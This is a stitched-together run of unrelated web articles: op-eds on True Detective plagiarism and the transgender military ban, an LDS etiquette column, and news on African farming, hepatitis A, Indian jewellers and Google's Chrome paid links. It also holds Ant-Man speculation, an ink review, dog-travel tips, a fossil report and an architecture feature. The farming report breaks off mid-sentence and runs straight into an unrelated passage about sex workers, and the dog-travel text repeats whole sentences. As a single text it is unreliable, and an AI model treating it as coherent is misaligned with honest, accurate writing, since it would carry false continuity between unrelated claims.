Davis and Padgett apparently think that Viswanathan’s piecemeal theft of McCafferty’s work is “far less offensive” than the eight lines of dialogue that Pizzolatto openly acknowledged was a homage to Ligotti. I guess when a female writer plagiarizes another female writer, it’s just not as culturally important, huh?
Viswanathan later confessed that she was guilty of allowing the “unconscious influence” of those other writers to affect her own writing.
There is nothing unconscious about what Pizzolatto is doing in True Detective. Literary remixes may not be as immediately recognizable and understandable as the auditory remixes that are firmly covered by the Fair Use clause of U.S. copyright law, but they are still valid literary tricks. Likewise, screenplays may not have the liberty of slapping a footnoted citation on every homage they weave into their vision, but that doesn’t make their homages any less intentional or transparent.
True Detective is not a work of plagiarism. It’s a remix by a man who was clearly transparent about what he was doing, a man who is very aware that it’s what Weird Fiction has been doing all along.
All Padgett and Davis did in failing to recognize this was uninvite themselves from the group hug.
Step away from the circle, guys. I hear Diana Gabaldon’s looking for new friends these days.
Screengrab via HBO GoRetired Army Col. Sheri A. Swokowski stands at attention during a U.S. Navy LGBTQ pride event in San Diego on June 30, 2015. Swokowski was a guest speaker at the event and is considered the highest-ranking openly transgender person in the country. Earnie Grafton/Reuters
In an unexpected move Wednesday morning, on the 69th anniversary of President Harry Truman’s order to desegregate the armed forces, President Donald Trump tweeted that he had decided to bar transgender Americans from serving in uniform.
Trump’s latest edict surprised the national security establishment, short-circuiting a review of the current transgender policy recently ordered by Defense Secretary James Mattis and coming before the Pentagon’s personnel officials even had confirmation hearings, let alone started their jobs. The way the announcement was made begged the question of whether Trump discussed this issue with the military’s leadership at all. Worse though, on its merits, the order contradicts decades of military leadership on equal opportunity and flies in the face of empirical research showing transgender troops don’t hurt readiness. Quite the contrary: Wednesday’s move will only make it harder to maintain readiness, by slightly shrinking the pool of eligible recruits, removing current service members, and signaling to many others that today’s military is not the kind of employer they want to work for.
The tweetstorm that barred transgender troops stands in stark contrast to the military’s proud civil rights legacy. American military history since the Civil War tells a story of one group after another gaining entrance to the service—and then more prestigious roles within the service, such as assignment to combat units or the opening of the officer corps. Uniformed service represented more than a job or chance to fight for these groups; it meant an opportunity to earn legitimacy as full-fledged citizens, and with it, the ability to vote, work, and raise families alongside the rest of America.
Unfortunately, the abhorrent tweets by President Trump on Wednesday morning play into false narratives that have long been used to avoid or delay change in the armed forces. From integration of black Americans, to women gaining the right to fly planes and participate in front-line combat, to the repeal of “don’t ask, don’t tell”—false arguments and stereotypes have always been deployed to oppose the change. In each of these cases, history has proved the naysayers wrong and shown the wisdom of broadening the aperture of service.
In this case, there is solid empirical evidence as to why the transgender ban is wrong. A recent RAND report commissioned by the Department of Defense found that readiness will remain largely unaffected by allowing transgender people to serve while health care cost increases will likely be no more than one-tenth of 1 percent. Several foreign militaries have long been fully integrated and experienced none of the problematic effects Wednesday morning’s announcement suggested.
Senior military leaders responsible for readiness have echoed these findings. Former chairman of the Joint Chiefs of Staff, Adm. Michael Mullen, recently encouraged the military to fully accept transgender troops. “Thousands of transgender Americans are currently serving in uniform and there is no reason to single out these brave men and women and deny them the medical care that they require,” Mullen told USA Today, citing the harm to discipline and integrity caused by the “don’t ask, don’t tell” law and now the transgender ban.
The cost of losing approximately 15,000 active and reserve troops who are currently serving honorably is bad enough but doesn’t begin to reflect the enormous cost the military could face in the loss of future recruits. Though transgender recruits themselves may reflect a small proportion of overall yearly accessions, there is no accounting for the number of other young Americans who will choose not to be a part of an organization that openly discriminates in this way.
The youngest cohort of Americans—those 18- to 25-year-olds the military targets for recruiting—have many options for employment in an improving economy. Most don’t seriously consider military service, mainly due to a lack of familiarity or influencers in their life who steer them otherwise. For those who are on the margins, particularly women or those who are from geographic areas where the military is less popular, Trump’s transgender ban will be another strike against service.
On issues of LGBTQ rights, millennials (who make up the military’s recruiting pool) have shown the highest levels of acceptance of any generations, with a recent Pew survey indicating 74 percent of millennials are supportive of gay marriage. A survey out of the Naval Postgraduate School found in 2013 that 83 percent of millennials believed prior to the DADT repeal that “gays and lesbians should be allowed to serve openly” with the same survey finding a majority of millennials believed repeal would increase the military’s overall effectiveness. The choice to score political points on the backs of service members does a disservice to the armed forces and will go down in history as an embarrassing and discriminatory mistake.
All of the evidence indicates that transgender service is a net positive for our armed forces, and in fact, some research shows that transgender Americans are twice as likely to volunteer to serve. To think that such an ill-informed and discriminatory stance won’t affect broader perceptions of military service is a shortsighted and costly mistake.
Clearly, there is no rational basis for Trump’s order. Reporting dribbling out of the White House indicates the ban reflects a craven political calculation by the Trump administration: a willingness to discriminate against one small group in order to curry favor with Trump’s eroding political base. “It’s not the worst thing in the world to have this fight,” one administration official told Politico. That President Trump would make a national security decision on such grounds indicates his level of unfitness for office. Deciding who serves in the military is a matter of the highest consequence. Trump’s ill-informed decision to exclude transgender troops—sacrificing both national security and our deep national commitment to equality—reveals he is incapable of making national security decisions smartly or wisely.I love our culture. I think we’re the most fascinating cross-section of humanity ever to come down the pike, and still can’t believe the famed anthropologist Margaret Mead didn’t write a whole book about us, when she had the chance (she visited Utah when I was a young girl, and my dad had the rare opportunity to tour her around when he was a professor at USU).
Maybe she didn’t get a close enough look. When outsiders study Mormons, they invariably come away with the undeniable observation that we’re healthy, polite, hard-working, happy, generous, and possess dozens of other virtues any mom would love their child to have. As a group we’re clean-cut, cheerful, patriotic, and friendly– as if someone had bottled all the Boy Scout traits and injected them into our DNA. Sure, there are individual exceptions, but not group ones. And maybe this predictable, squeaky-clean image isn’t as intriguing as it would be if we had some glaring flaw that permeated our congregations. Then they’d have something to write about.
Oh, wait. There is that one, small problem that seems to be in every ward: We cannot stop asking the uncomfortable questions.
For years members struggling with infertility have complained that too many people (well meaning, but clueless) keep saying, “So when are you two starting a family?” As if their intimate lives were anyone’s business but their own. It’s as if members assume there is no bubble of privacy around this issue, that the subject is up for discussion at a ward dinner, in a hallway, or anywhere inquiring minds want to know.
Long unmarried members face the same scrutiny. “How’s your love life?” “So who are you dating?” “When you going to get married? You’re not getting any younger!” Single members have writhed under these far-too-personal inquiries for centuries. And I realize it isn’t just LDS people who do this. You find it among any tightly knit group of people who begin to feel like family to each other (and that family caring is a marvelous thing in other ways).
“When are you due?” is the dreaded question for all women who could shed a few pounds, yet who are not actually pregnant. And most people these days know not to ask it unless they are 100% certain the woman is expecting. So we are learning.
But now there’s another question we need to stop asking. It’s brand new, suddenly popping up now that the age for girls to serve missions has dropped to 19. It’s, “So, are you putting in your papers?” Young Mia Maids and Laurels are freezing in a panic in the hallways, pinned against the wall without a prepared answer.
And for some, the answer is an enthusiastic “Yes!” But what about the girls who don’t wish to serve missions? It isn’t expected, as it is for young men, yet the pressure is suddenly on to join the tidal wave of applicants.
And young women are even less equipped to handle awkward questions than those of us who’ve been around the block before. They’re suddenly put on the spot and don’t know if they should feel guilty, angry, frustrated, sad, or just burst into tears. Some find the thought of leaving home scary. Some question their testimonies. Some wonder why they don’t feel a burning desire to do this. Maybe some don’t know if they’re worthy. Others are shy and can’t imagine teaching anything to anyone. Or they want to stay in school. Or they want to get married. They’re praying about it and simply don’t know, yet. They have a dozen reasons why they might not wish to answer that question, and not one of them is our business.
And so we need to add this question to our list of etiquette no-no’s, the same way we’ve recently added “texting at the dinner table.” Many will say the question is innocent, and motivated by sincere love and caring. I don’t doubt that. So are the other questions, usually. But let’s think of a way to rephrase it so the young women don’t feel cornered and pressured. Let’s say, “So what are your plans after high school?” Or some other open-ended question that acknowledges the vast array of good options she has.
And for the young women, how about arming you with some kind responses that let you off the hook, so you’re ready to diffuse those awkward moments? Here are a few ideas:
I’ll let you know just as soon as I decide.
Thanks so much for your vote of confidence in me. I appreciate it.
It’s an exciting time, isn’t it? We’ll have to see what happens.
It’s definitely one of the choices to consider.
And, finally, the one I probably would have used:
Well, at least you didn’t ask me when I’m due!
Yes, we feel like a family in our wards. Yes, we really do care about one another and want to know what’s going on. But we have to bite our tongues sometimes, and err on the side of the loving embrace that doesn’t shove everyone into the same mold, but allows for that thing we fought for in heaven. What was it? Oh, yeah-free agency.
Be sure to read Hilton’s blog at jonihilton.blogspot.com. Her latest three novels, Jungle, Sisters in the Mix, and Pinholes Into Heaven are available at Amazon, www.mormonbooksandauthors.com and in paperback at Createspace.com.
Her most recent LDS comedy is Funeral Potatoes-The Novel (Covenant Communications), available in LDS bookstores. Hilton currently serves as Relief Society President in her ward in northern California.Climate change pressures threaten to quickly 'overwhelm' African farmers, a study says
LONDON (Thomson Reuters Foundation) – The number of malnourished people in sub-Saharan Africa could rise 40 percent by mid-century as increasingly erratic rainfall and rising temperatures cause small-scale farmers to lose more crops, a new report says.
Such farmers – who produce around half of sub-Saharan Africa’s food - “risk being overwhelmed by the pace and severity of climate change”, warned the 2014 African Agriculture Status Report, released on Tuesday by the Alliance for a Green Revolution in Africa (AGRA), a Nairobi-based organisation focused on African food security.
About 90 percent of Africa’s small-scale farmers – most of whom manage plots |
ruining your future chances at having a loving relationship with a stable and emotionally healthy woman. There’s an old saying, “Crazy in the head, crazy in bed.” Professional sex workers may be over-the-top in bed — exaggerated moaning and groaning (fake orgasm alert), willingness to do sexual acts or invite third (or fourth or fifth) parties that most “non-professionals” wouldn’t do. This may have the effect of diminishing your ability to enjoy sex with partners that are healthier and require trust and real intimacy before they release their inhibitions.
Genuine love and intimacy take time to build and grow. It doesn’t happen overnight or in 36 hours. A healthy woman who respects herself, who has boundaries and is looking for an honest to goodness relationship is unlikely to jump right into bed with you and let out her inner freak. That takes time. Going back to a healthy woman will be like expecting a cup of coffee to have the same rush as a gram of cocaine.
Additionally, self-respecting women are probably not going to be interested in dating a man who has sex with strippers, hookers and the like.This is not necessarily due to religious beliefs or some sense of Puritanical morality. One, it will cause them to question your well-being, self-esteem and your ability to have a healthy relationship. Two, there are health risks, e.g., STDs, and other safety risks, e.g., a psycho ex who is stalking you and any new love interest you may have.
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What we’ve been told and other random possibilities
The MCU Exchange Blocked Unblock Follow Following Nov 18, 2013
Now that it’s been a few months since Ant-Man has OFFICIALLY been announced and given the first slot of Phase 3, I thought it was a good time to briefly touch on the history of this project, as well as the confirmed details we’ve been told thus far. Ant-Man is currently in pre-production and plans are to start shooting January, I fully expect Marvel to give us at least one big casting announcement before the end of the year to keep the hype train moving along until Captain America — The Winter Soldier. I’ll also touch on a few loose theories I have based on the information given and my knowledge of the character(characters).
Origins
Ant-Man The Movie has been in development for close to a decade. The first draft of the script, written by Edgar Wright and Joe Cornish, was actually offered to Artisan Pictures before the first Iron Man came out and kick started the Marvel Cinematic Universe. It obviously never came into fruition and Wright went onto do films such as Hot Fuzz and Scott Pilgrim, while Cornish wrote and directed Attack the Block. It’s reported that during the start of Phase 1 development, Wright agreed to continue working on the script after meeting with Kevin Feige and submitted a second draft 4 years later sometime in 2012. At Comic-Con that year, a test reel was shown displaying Wright’s vision for Ant-Man and a final script was turned in shortly after in 2013 after Wright wrapped up The Worlds End. Pre-Production began last month and that leads us up to now.
What we know
It will be a “heist” film. It’s been repeated by Wright, Cornish and Feige quite a few times with no other details. This doesn’t give us much to work on until you take into account the other most repeated detail about the film; it will involve at least 2 Ant-Man’s. Hank Pym and Scott Lang are confirmed (more or less) to be in the film and there have been rumors of Eric O’Grady possibly making an appearance, although this was neither confirmed nor denied by Joe Cornish when asked. Most of this was confirmed before Wright and Cornish turned in their second draft, so some of this could have be a bit different to fit into the current MCU, but I’m assuming not much has changed.
The other often repeated detail was that the film could essentially operate as a Stand-Alone film yet still exist within the current Marvel Cinematic Universe. Taking into account that the film’s first draft was written before the MCU started, this makes sense. It also sheds some light onto why Marvel was so patient with the development of the film seeing as they knew they could fit it in wherever they needed.
Another bit of information that ruled out a few possibilities in this film was the announcement that even though the key villain for Avengers 2 is Ultron, Ant-Man will not be involved and Ultron will most likely be created by Tony Stark.
Connecting the dots
The fact that it’s a heist film, and that it will involve 2 Ant-Man’s leads most of us to believe that we will at least see Scott Lang’s origin story. Another thing to note is that Wright has been reported saying that not only would we see Hank Pym in the 60's/70's, but that Pym and Lang would team up. Again, this was reported before 2012 and is from what I’m assuming was the first draft; things might have changed.
Let’s talk Scott Lang. In the comics, Scott Lang becomes Ant-Man after his Daughter becomes ill and he breaks into the home of Hank Pym stealing his suit and shrinking canisters. Disguised as Ant-Man, and using Pym’s technology he breaks into a facility where a Doctor works who can save his daughter. In a weird turn of events, the Doctor is actually being held prisoner and Scott Lang saves her and in turn she saves his daughter. Hank Pym is impressed with what Scott Lang does and allows him to continue being Ant-Man.
This would work pretty well for the film and I think this is more or less the route they are going to go. I’m thinking the only really big deviation from this story-line will be that Hank Pym will actually end up helping Scott Lang as reported and I believe it will be more than just a Doctor they are trying to get to. This story involves both of the 2 main details we’ve been given so until I hear something else about the movie, this is what I’m guessing is going to happen to some extent.
Paul Rudd is reportedly up for the roll of Hank Pym. The “sources” simply cite that he’s up for a roll and most outlets assume its for Hank Pym, that coupled with the casting call sheet leaked recently looking for both a young girl and a 20-30 year old male leads most everyone to believe that Rudd is up for Pym and they are currently casting Lang and his daughter. Given the age of Rudd, it’s pretty safe to assume he’s being targeted for Hank Pym.
Lingering Questions
Will the movie take place partly in the past as initially reported? Casting a 40 something as Pym would only really make sense in my mind if they were planning to do scenes in the past and present seeing as Paul Rudd can still pull of a late 20's with a little movie magic and a 50 year old with some makeup. If thats the case then does that mean Paul Rudd/Hank Pym is only going to be in this specific film, and any Ant-Man we get in future movies (Avengers 3) will be Scott Lang? It doesn’t rule out both being involved in future movies with Lang being more of The Avenger and Pym being more of a S.H.I.E.L.D. scientist. Either way, it will be interesting to see how this is done.
The other rumor circulating along with the Paul Rudd rumor, was that Rashida Jones was up for the part of Janet van Dyne aka The Wasp. With the possibilities of part of the movie taking place in the past with a younger Hank Pym, does that mean Janet will simply be a powerless girlfriend or wife of Pym? The concept of Ant-Man is already pretty strange to begin with, I can’t imagine they will toss in a woman who also can turn tiny but grows wings. With that in mind as well, and assuming that a bulk of her role takes place in the past, does that mean we wont get The Wasp in Avengers 3?I don’t know a lot about this brand apart from that it’s an Italian fountain pen manufacturer and established sometime in the 1970’s. From what I can gather the range of fountain pen inks is a limited one of which I have managed to source five. And I have to say… I rather like them. Many pen manufacturers produce a limited standard range and many of these limited ranges are very similar. I might even go as far as to say… predictable. But these… break the mould.
Saffron – well this not a predictable choice for starters. A rich orangey yellow with a great sheen? Go for it! Blends well with water and reacts gorgeously with bleach. Great to write with, legible and a lovely rich colour.
Musk Green – well this not a predictable choice either. I love it. A rich ochre brown with a great sheen and bleeding greens at the outer edges. Blends well with water and reacts gorgeously with bleach. Great to write with, a legible lovely dark olive brown colour.
Sepia – a little more like your standard brown. A rich red brown with a deep sheen. Blends well with water and reacts gorgeously with bleach giving a slight neon glow. Great to write with and legible with a deep dark brown colour.
Deep Blue – hardly a deep blue, more of a royal blue with a heavy deep sheen. Blends well with water and reacts gorgeously with bleach giving a slight neon glow. Great to write with and legible with, as already stated, a Royal Blue finish.
Ebony Black – This is black. A very dark black with a deep sheen. Blends well with water breaking down to greys and turquoise blues at the edges. Reacts gorgeously with bleach giving a slight neon glow. Great to write with – legible and black!
For a standard in-house range they’re not the usual selection. I could easily use these to paint and write with. Maybe thats what Stipula were thinking? So, what’s not to like?
Inks sourced from www.gouletpens.com
All tests on Bockingford 200lb watercolour paper using a self customised Frankenflex pen Jinhao 159 with titanium zebra G flex nib.
Just for the record – I do this for myself, I receive no remuneration what-so-ever and I tell it exactly how I see it.A recent hepatitis A outbreak in southeast Michigan has now sickened 457 people. That’s 14 times more than last year, and officials are having a difficult time stopping the spread of the virus.
Of the 457 known cases, 18 people have died and 370 have been hospitalized. But this outbreak is puzzling health officials as the complicated nature of the regional epidemic continues to baffle so many in the medical community. The outbreak is overly complicated. There’s no single source such as food contamination and many groups of people are at risk, including homeless people, drug users, and now terrifyingly; people who are neither. There are even more cases than normal among men who have sex with men increasing the spread of the virus.
Until October, only 10 men who have sex with other men had contracted hep A. Then, in October, there was a sudden spike of 11 additional cases. The state of Michigan is urging doctors and hospitals to vaccinate at-risk patients, but officials say resistance to the vaccine is too frequently a problem. Not only that, but those who are still infectious are leaving the hospital against doctors’ suggestions, taking the highly contagious virus with them.
Adding fuel to the fire of complication surrounding this outbreak, some people living with a hep A patient have refused the vaccine and then gotten sick themselves. Another infectious hep A patients have refused to disclose the names of family and close friends, which means health officials can’t contact these individuals to inform them they should get the vaccine or early treatment.
Hepatitis A is a serious and highly contagious liver disease caused by the hepatitis A virus (HAV). HAV is found in the feces of people with hepatitis A. You can also become infected with hepatitis A by eating contaminated food or water, during sex, or simply by living with an infected person. Illness can appear 15-50 days after exposure and you can be sick for several weeks. In some more extreme cases, the infection can prove fatal. Although not all people infected with hepatitis A experience illness, the symptoms can include nausea, vomiting, belly pain, fatigue, fever, loss of appetite, yellowing of the skin and eyes, and pale-colored feces.
The outbreak is still considered a regional epidemic, rather than statewide, although a small number of cases have occurred in Sanilac, Ingham, and Lapeer counties. Officials are still trying to determine if the virus causing the outbreak is more aggressive than usual with attempts to contain it. Without taking the proper steps to stop the spread of hep A, this could very quickly spread across state lines or worse.MUMBAI: Taking a stance of 'no news is good news' jewellers today hailed the Union Budget, saying the focus on digitalisation is going to give an impetus to the sector and drive consumption."Focus on farmers, infrastructure and digital economy will create transparency and will have an overall positive sentiment in the market," PNG Jewellers Chairman and Managing Director and India Bullion and Jewellers Association (IBJA) Saurabh Gadgil told PTI here.He said the Government announcement on establishing gold spot exchange is also a positive move and will lead to better price discovery of the yellow metal."This move will help in our country's participation in determining gold price in the international markets. Overall, this is a positive Budget. Moreover, we go with no news is positive news thinking," he added.Echoing a similar view, GJEPC Chairman Praveenshankar Pandya said the Government's proposal to extend Pradhan Mantri Kaushal Kendras to more than 600 districts across the country, from the 60 districts at present, will help in creating skills for the gems and jewellery sector as well."We welcome the move as the focus to improve on the quality and the market relevance of vocational training will also benefit our industry," he added.Besides, the proposal of reducing income tax for smaller companies with annual turnover up to Rs 50 crore to 25 per cent will encourage medium to small jewellery exporters and manufacturers, he said.All India Gems and Jewellery Trade Federation (GJF) Chairman Nitin Khandelwal opined no new tax proposals is a positive move for the sector.However, on the Government proposal to ban all cash transactions above Rs 3 lakh beginning April 1 might affect demand, especially in the gems and jewellery sector."Due to transaction fee on all digital purchase, the demand is likely to be affected. However, we will be more clear on the issue when we get the Budget document," he said.Anmol Jewellers Founder Ishu Datwani opined that the Budget has been on expected line."The fillip to the rural and infrastructure is a plus. Thankfully, there has been no negative announcement for the jewellery sector. In totality it's a positive budget. Sometimes there are people like the non-residents, who have official cash over Rs 3 lakh. So the business may be affected but it's a small negligible percentage," he said.Lala Jugal Kishore Jewellers Director and IBJA Director Tanya Rastogi said the Rs 3 lakh cash cap will not have much impact on the jewellery industry as there already is mandatory PAN for purchase of Rs 2 lakh or above."Since other cash-based industries may be hit by the ruling, I expect this will divert more cash towards our industry," she added.The 2015 edition of the Gumball 3000 may have only just wrapped up but the first details about next year’s event are already starting to emerge. While for the past two years, the event has been held in part in the United States, it will remain in Europe for its entirety for next year.
For now, all we know is that the 2016 Gumball 3000 will start in Dublin, Ireland before finishing up in Istanbul, Turkey. Of course, a plethora of countries will be passed through to connect these two cities. As a result, it is likely that next year’s Gumball 3000 will go through the likes of Germany, Austria, Hungary, Romania and Bulgaria. Other possibilities include France, Slovkia, Serbia, Greece and Switzerland among others.
This year’s Gumball 3000 started in Stockholm and went through Copenhagen, Germany and Amsterdam. Participants then flew to Reno before driving through San Francisco, Los Angeles and finished in Las Vegas.
Be sure to stay tuned to GTspirit in the coming days for comprehensive galleries and videos from Gumball 3000 2015!Taking your pooch on your next adventure with you would just add to the fun. Whether you plan to bring them on the road or sky, you need to do your homework on dog travel. The general rule is to choose the safest and most comfortable for your pet.
Preparing for your trip
Even before you start deciding what mode of transport to take, here is a short checklist of the things you should do.
Research about animal policies. Check the quarantine laws and transportation restrictions.
Ensure that your hotel and other destinations will welcome pets.
Bring your pet to your vet. Get a health certificate verifying that your pet is fit to travel. Make sure that all necessary vaccinations are up to date as well.
Shop for companion-animal travel gear.
Consider having your pet microchipped. This painless procedure places a microchip under their skin. The microchip contains all your pooch’s identification information. This painless procedure places a microchip under their skin. The microchip contains all your pooch’s identification information.
Things to pack
Taking your dog to travel is just like packing for a baby. These are all the things you should pack in your pooch bag:
Dryer sheet – In case of a thunderstorm, place the dryer sheet over their fur. This will help calm them down by containing the buildup of static electricity in their fur low.
Medical records, IDs, and extra contact – Place all these important documents in a ziplock with a proper label. Having them all in one place gives you easy access. It also prevents them from getting wet or stained.
Ice cubes – A cool drink during breaks will keep your pup well hydrated and control their water intake.
Chicken broth – In case your pooch starts to feel sick, call your vet and add some chicken broth to their water. This is full of nutrients, and it will make them feel better. Make sure it is low in sodium, okay?
Spares – Pack spares of everything – collars, IDs, poop bags, and toys.
Tweezers, liquid soap, and cotton balls – For outdoor travels, these things are essentials for removing ticks. Use the pair of tweezers to pull the tick off gently. Then clean the area and your hands with the soap.
Baking soda – Avoid paying extra charge or penalty for dog pee stains. In case of accidents, baking soda is the cheapest and easiest way to remove those stains. If stung by a bee, baking soda paste helps bring the swelling down.
On the road
There are different ways to transport your pooch. You can take them by car, by airplane, by ship, or by train. However, car travel puts the least amount of stress on most pets. Dogs usually enjoy car travel but long rides can be a different story for some.
When traveling by car, here are some precautions you should take.
Prevent stress. Bringing your pet on short drives up to your long road trip permits your pet to adapt to car travel. Cars are generally safe for dogs, but placing them on travel carrier or car kennel is highly recommended for everyone’s safety. Make sure though that there are no harmful items like leases and loose collars Bringing your pet on short drives up to your long road trip permits your pet to adapt to car travel. Cars are generally safe for dogs, but placing them on travel carrier or car kennel is highly recommended for everyone’s safety. Make sure though that there are no harmful items like leases and loose collars inside the crate
Do not leave them in the car alone, even with the window cracked open. Cars can easily become an oven. Your dogs can easily get dehydrated, suffer, and die especially on warm days. Pets can suffer from heatstroke within just 15 minutes.
Feed dogs early and exercise for several hours before leaving. Letting them eat early prevents upsetting their stomachs. Exercise can burn off his excess energy so he will be more inclined to rest during the travel.
Stop and rest at least every three hours. During breaks, walk your dog and feed them with small meals --preferably those that are high in protein.
Do not open the windows unless your dog is restrained.
Keeping them calm while traveling
Again, travels can be stressful for some dogs. However, taking their favorite toy or anything that attaches them to home, will offer comfort and relaxation. Famous dog trainer Cesar Milan recommends rubbing a little lavender oil between your hands and giving your pet a deep tissue massage will help.
Arriving at the destination
Just because you are away from home does not mean you pause on your healthy routines. Continue to give take them out for walks, spend time to play, and offer access to fresh water and food. If possible, make sure the food prepared are similar to those they eat at home to prevent sickness.
Entering the hotel room
Be the first to enter your hotel room and let your dog stay where allowed to. Do not let them roam around the room so they will not assume control. Some dogs tend to bark a lot when left inside a hotel room. Stay calm and assertive of the situation and do not encourage the barking behavior with affection. By the way, make sure that your scent is everywhere in the room before they settle in.
Strolling on new places
Since you are miles away from home, your dog can easily get thrilled with the new sights, scents, and sounds. Be extra careful when exploring new places. Your curious pooch may ingest something harmful. When traveling during the holidays, the lights and decorations can be a distraction. So, better keep a keen eye for your babies.
Illness or injury
Ask your veterinarian ahead of time for a reference to the nearest vet or animal hospital where you will be traveling. Write the info down or print a map from the Internet. This way, you will not be scrambling for info in case an emergency situation arises -- but,dog forbid.
Consult the experts
Some companies are dedicated to pet transportation and travel for anywhere across the globe. For example, PetRelocation has a blog that allows you to ask anything about pet travel. If you are hesitant about something, you can easily send them an inquiry and they will be of great help.In the remote canyons east of Milpitas, scientists are digging up a treasure trove of marine fossils that tell of an era 20 million years ago when a shallow sea extended throughout much of today’s California.
More than 800 specimens have been recovered in the last three years from sandstone deposits on the site—including ancient whale bones, megalodon shark teeth, and scallops the size of dinner plates—as earth-movers recontour the land to prepare for the reconstruction of Calaveras Dam, a project of the San Francisco Public Utilities Commission. The work is part of a major seismic upgrade to the nearly century-old infrastructure supporting the city’s Hetch Hetchy water supply.
Among the noteworthy finds is a hippo-like creature, Desmostylus, that sported forward-facing tusks and weighed in at over 400 pounds. Paleontologist Mark Goodwin of the University of California Museum of Paleontology says the whale skeletons, both baleen and toothed, appear to be relatively small, though he’s not sure if the individuals were young when they died or if the taxa were small. The fossils have gone straight into protective casts until the SFPUC reaches agreement with a research institution to make it the repository.
“It was probably once a thriving seaway with a robust food chain supporting a number of marine animals,” says Lisa White, a Miocene expert at UCMP. The fossils will help piece together a more complete picture of what lived in and around that ancient ocean, she adds. That is, once they’ve reached their final resting place.Google's policy of penalising companies by removing them from its index for infringing rules on paid links may have come back to haunt it
Google is wrestling with a thorny conundrum: should it block its own Chrome browser from its search index for between a month and a year for breaking its own rules on paid links, after a mixup by some bloggers for a video advertising scheme?
The problem has arisen after Google paid Unruly Media, an international media agency, to get a number of paid bloggers to promote a video for its Chrome browser featuring a US flour company.
Update: Google has demoted its Chrome browser in search results as a result of the scheme. Read the latest story.
But while the bloggers did the job they had been asked to, and put up the video, some went beyond what Unruly Media – and Google – had expected them to, and included links to places where you could download the Chrome browser. Crucially, though, they didn't use the "nofollow" text that Google mandates for paid links. That, strictly, took them over the line on paid links.
Update: a company called Essence Digital has now said that it acted as an intermediary between Google and Unruly Media. In a post on Google+, it said:
We want to be perfectly clear here: Google never approved a sponsored-post campaign. They only agreed to buy online video ads. Google have consistently avoided paid postings to promote their products, because in their view these kind of promotions are not transparent or in the best interests of users.
In this case, Google were subjected to this activity through media that encouraged bloggers to create what appeared to be paid posts, were often of poor quality and out of line with Google standards. We apologize to Google who clearly didn't authorize this.
The "sponsored" blogposts (such as this one, though it does not link to Chrome) were first noticed by Aaron Wall at SEO Book. He commented: "You can say they didn't require the links, that the links were incidental, that leaving nofollow off was an accident, etc... but does Google presume the same level of innocence when torching webmasters? They certainly did not to the bloggers who reviewed K-Mart [who were removed from the search ranking] and the Google reconsideration request form states: 'In general, sites that directly profit from traffic (e.g. search engine optimisers, affiliate programmes, etc) may need to provide more evidence of good faith before a site will be reconsidered.'"
At Search Engine Land, Danny Sullivan wrote: "Potentially, all this means that Google will have to ban the Google Chrome download page over paid links. That would suck for Google, since it's busy running ads for Google Chrome, which will in turn prompt people to search for it. Right now, the page appears at the top of results for searches on 'google chrome'."
Andrew Girdwood, who has worked in the past with Unruly Media, said: "My hunch is that individual bloggers have written editorials for their sponsored video (which is just a CPA [cost per action] ad [where bloggers would get paid any time somebody watches the ad] – like so many others, just like any affiliate deal) and put a link naturally into that text … I doubt these posts were about links."
Scott Button, the chief executive of Unruly Media, told the Guardian: "A blogger, who we didn't ask to link to a Google Chrome page, linked to a Google Chrome page, and did so without using the nofollow attribute. Obviously they shouldn't do this in the context of a blog post that embeds one of our sponsored videos. As soon as we found out about it, we got it fixed. To be clear, we're not in the business of getting bloggers to write about products or link to advertisers' websites. We distrubute branded video content, and we pay bloggers (and big websites and app developers) when their audiences watch the videos. That's what Google paid us to do, and that's our business. The SEM [search engine marketing] angle is basically a red herring - it doesn't bear any relation to our business nor any relation to the objectives of the Google Chrome campaign."
Button declined to say how much bloggers are paid per viewing. Unruly Media runs about a thousand social video campaigns annually from nine offices, Button said. "It's a grown up business and growing very fast, but this is still small beer in relation to the $500bn plus that brands spend on media each year."
But just as concerning for a number of observers was the content of the posts preceding the video: Wall called it "low-quality filler pablum content that the Panda update was alleged to discourage", while Sullivan commented: "That's perhaps the bigger problem with this campaign, much more disturbing to me. Google's paying to produce a lot of garbage."
But that "garbage" appeared to be having benefits, based on Sullivan's searching: the Telecommutingmommies post linked above ranked second, when he looked, in a search for "google chrome benefits". When the Guardian tried the same search on Tuesday evening, the same post also ranked second.
That, says Sullivan, pollutes the results: "Imagine you're someone trying to understand the benefits to using Google Chrome versus other browsers. Out of 21m possible matches, two of Google's sponsored garbage posts make it into the top 10 results."
Even worse, he says, is that the video which caused all the trouble doesn't actually mention Chrome at all. "You may have seen on television already. It has nothing to do even with how Chrome actually helped the Vermont flour producer featured, King Arthur Flour, succeed … Since King Arthur Flour has been online since at least December 2006, I'm willing to bet it got its start through the Internet Explorer browser. It sure wasn't Chrome, which didn't exist at the time."
In a statement, Google said: "Google never agreed to anything more than online ads. We have consistently avoided paid sponsorships, including paying bloggers to promote our products, because these kind of promotions are not transparent or in the best interests of users. We're now looking at what changes we need to make to ensure that this never happens again."
(Disclosure: Unruly Media provides the Guardian's Viral Video Chart)Two house-shaped rooms project out from the facade of this three-storey residence by SoNo Arhitekti, which nestles into a hillside near an Austrian Alpine village (+ slideshow).
Named Mountain View House, the family residence is located in close vicinity to the Kitzbuehel skiing resort. Its position near the top of the hill allows for impressive views, so the house was designed to take advantage of this.
Slovenian studio SoNo Arhitekti conceived the building as a cluster of smaller volumes – some that mimic the shapes of traditional Alpine cabins and some that are more contemporary in form.
This arrangement made it easy to create entire walls of glazing in front of some of the rooms, offering residents panoramic views.
"The residence takes different shapes depending on the viewer's standpoint, due to the playful design of the gable roofs that echo the shape of nearby mountain peaks," said the architects.
Related story Love Architecture completes house of two halves overlooking an Austrian valley
"Inside the living spaces and the master bedroom it feels like you're floating out into the distant landscape. The lowest level is more grounded and darker, but still followed with spectacular views."
The house is framed by reinforced concrete and cross-laminated timber. "This allowed us to have a very spacious design without having additional columns and beams," the architects told Dezeen.
Externally, the two projecting house-shaped volumes are clad with prefabricated white cement panels. This allows them to stand out from the other walls of the building, which are either clad with timber slats or left as exposed concrete.
Due to the steep slope of the hillside, the house's entrance is located on the uppermost floor, along with the parking garage. Once inside, residents are directed towards a grand living space on the middle floor.
An angular window is positioned in front of the window, while boxy bookshelves form a see-through partition between the staircase and a corridor on the right-hand side.
The large living space, which has a lounge on one side and a dining area and kitchen on the other, forms the largest of the two house-shaped blocks. Its entire front wall is glazed and opens out to a generous balcony.
The other volume is located on the opposite side of this floor and accommodates the master bedroom suite. It also opens out to a balcony, which wraps around the corner of the building to create some privacy.
"All in all, the house is planned so that is hidden away from neighbouring eyes and open only to the landscape or the sky," said SoNo Arhitekti.
